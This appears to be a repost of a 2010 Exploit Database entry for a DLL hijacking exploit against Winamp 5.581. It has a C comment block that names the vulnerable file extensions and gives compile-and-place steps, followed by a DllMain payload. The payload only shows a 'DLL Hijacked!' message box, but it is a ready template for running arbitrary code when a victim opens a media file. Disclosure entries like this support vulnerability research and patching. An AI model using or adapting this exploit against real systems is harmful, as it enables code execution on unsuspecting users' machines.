NullSoft Winamp 5.581 – ‘wnaspi32.dll’ DLL Hijacking

• Exploit Database
• 166 阅读

• 作者： LiquidWorm
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14789/
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  /*   Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit   Vendor: Nullsoft. Product Web Page: http://www.winamp.com Affected Version: 5.581 (x86)   Summary: Winamp is a media player for Windows-based PCs, written by Nullsoft, now a subsidiary of AOL. It is proprietary freeware/shareware, multi-format, extensible with plug-ins and skins, and is noted for its graphical sound visualization, playlist, and media library features.   Desc: Winamp 5.581 suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level. The vulnerable extensions are .669, .aac, .aiff, .amf, .au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll libraries.   ---- gcc -shared -o wnaspi32.dll winamp.c   Compile and rename to wnaspi32.dll, create a file test.cda and put both files in same dir and execute. ----   Tested on Microsoft Windows XP Professional SP3 (EN)       Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic liquidworm gmail com   Zero Science Lab - http://www.zeroscience.mk     25.08.2010   */     #include <windows.h>   BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {   switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }   return TRUE; }   int dll_mll() { MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); }